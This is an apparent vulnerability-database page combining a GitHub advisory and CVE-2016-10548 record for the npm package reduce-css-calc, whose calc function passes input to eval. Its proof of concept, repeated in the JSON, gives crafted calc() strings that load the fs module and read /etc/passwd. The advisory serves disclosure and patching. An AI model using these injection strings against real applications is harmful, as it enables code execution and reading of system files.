Vulnerability-Lookup

GHSA-4662-J96G-MV46

Vulnerability from github – Published: 2018-06-07 19:43 – Updated: 2020-08-31 18:12

Summary

Arbitrary Code Injection in reduce-css-calc

Details

Affected versions of reduce-css-calc pass input directly to eval. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.

Proof of Concept

const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc(                       (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc(                       (fs['readFileSync']("/etc/passwd", "utf-8")))`));

Recommendation

Update to version 1.2.5 or later.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "reduce-css-calc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-10548"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T20:57:38Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "Affected versions of `reduce-css-calc` pass input directly to `eval`. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.\n\n## Proof of Concept\n\n```\nconst reduceCSSCalc = require(\u0027reduce-css-calc\u0027);\nconsole.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));\nconsole.log(reduceCSSCalc(`calc(                       (global[\u0027fs\u0027] = require(\u0027fs\u0027)))`));\nconsole.log(reduceCSSCalc(`calc(                       (fs[\u0027readFileSync\u0027](\"/etc/passwd\", \"utf-8\")))`));\n```\n\n\n\n## Recommendation\n\nUpdate to version 1.2.5 or later.",
  "id": "GHSA-4662-j96g-mv46",
  "modified": "2020-08-31T18:12:20Z",
  "published": "2018-06-07T19:43:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10548"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/ChALkeR/415a41b561ebea9b341efbb40b802fc9"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-4662-j96g-mv46"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/144"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Arbitrary Code Injection in reduce-css-calc"
}

CVE-2016-10548 (GCVE-0-2016-10548)

Vulnerability from cvelistv5 – Published: 2018-05-31 20:00 – Updated: 2024-09-16 20:03

Summary

Arbitrary code execution is possible in reduce-css-calc node module <=1.2.4 through crafted css. This makes cross sites scripting (XSS) possible on the client and arbitrary code injection possible on the server and user input is passed to the `calc` function.

Severity

No CVSS data available.

CWE

CWE-94 - Code Injection (CWE-94)

Assigner

hackerone mitre root

References

2 references

URL	Tags
https://gist.github.com/ChALkeR/415a41b561ebea9b3…	x_refsource_MISC
https://nodesecurity.io/advisories/144	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
HackerOne	reduce-css-calc node module	Affected: <=1.2.4

Date Public

2018-04-26 00:00

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-06T03:21:52.165Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://gist.github.com/ChALkeR/415a41b561ebea9b341efbb40b802fc9"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://nodesecurity.io/advisories/144"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "reduce-css-calc node module",
          "vendor": "HackerOne",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c=1.2.4"
            }
          ]
        }
      ],
      "datePublic": "2018-04-26T00:00:00.000Z",
      "descriptions": [
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        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "Code Injection (CWE-94)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2018-05-31T19:57:01.000Z",
        "orgId": "36234546-b8fa-4601-9d6f-f4e334aa8ea1",
        "shortName": "hackerone"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://gist.github.com/ChALkeR/415a41b561ebea9b341efbb40b802fc9"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://nodesecurity.io/advisories/144"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "support@hackerone.com",
          "DATE_PUBLIC": "2018-04-26T00:00:00",
          "ID": "CVE-2016-10548",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "reduce-css-calc node module",
                      "version": {
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                          {
                            "version_value": "\u003c=1.2.4"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "HackerOne"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
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              "lang": "eng",
              "value": "Arbitrary code execution is possible in reduce-css-calc node module \u003c=1.2.4 through crafted css. This makes cross sites scripting (XSS) possible on the client and arbitrary code injection possible on the server and user input is passed to the `calc` function."
            }
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        },
        "problemtype": {
          "problemtype_data": [
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        "references": {
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            },
            {
              "name": "https://nodesecurity.io/advisories/144",
              "refsource": "MISC",
              "url": "https://nodesecurity.io/advisories/144"
            }
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        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "36234546-b8fa-4601-9d6f-f4e334aa8ea1",
    "assignerShortName": "hackerone",
    "cveId": "CVE-2016-10548",
    "datePublished": "2018-05-31T20:00:00.000Z",
    "dateReserved": "2017-10-29T00:00:00.000Z",
    "dateUpdated": "2024-09-16T20:03:43.284Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

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